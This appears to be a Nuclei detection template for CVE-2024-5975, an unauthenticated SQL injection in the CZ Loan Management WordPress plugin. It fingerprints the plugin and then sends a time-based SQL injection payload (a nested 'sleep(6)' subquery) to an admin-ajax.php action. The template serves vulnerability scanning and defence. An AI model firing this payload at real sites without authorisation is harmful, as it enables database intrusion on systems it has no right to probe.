CVE-2024-5975: CZ Loan Management <= 1.1 - SQL Injection

id: CVE-2024-5975

info:
  name: CZ Loan Management <= 1.1 - SQL Injection
  author: s4e-io
  severity: critical
  description: |
    The CZ Loan Management WordPress plugin through 1.1 does not properly sanitise and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-5975
    - https://wpscan.com/vulnerability/68f81943-b007-49c8-be9c-d0405b2ba4cf/
    - https://vuldb.com/?id.272929
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2024-5975
    epss-score: 0.24638
    epss-percentile: 0.95942
  metadata:
    vendor: team-contriverz
    product: cz-loan-management
    framework: wordpress
    publicwww-query: "/wp-content/plugins/cz-loan-management"
  tags: time-based-sqli,cve,cve2024,wpscan,wp-plugin,wordpress,wp,cz-loan-management

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/cz-loan-management/README.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body,"CZ Loan Management")'
          - "status_code == 200"
        condition: and
        internal: true

  - raw:
      - |
        @timeout 20s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=cz_plugin_for_user_get_percentage&selectedperiod=(select*from(select(sleep(6)))a)

    matchers:
      - type: dsl
        dsl:
          - "duration>=6"
          - 'contains(content_type,"text/html")'
          - "status_code == 200"
        condition: and
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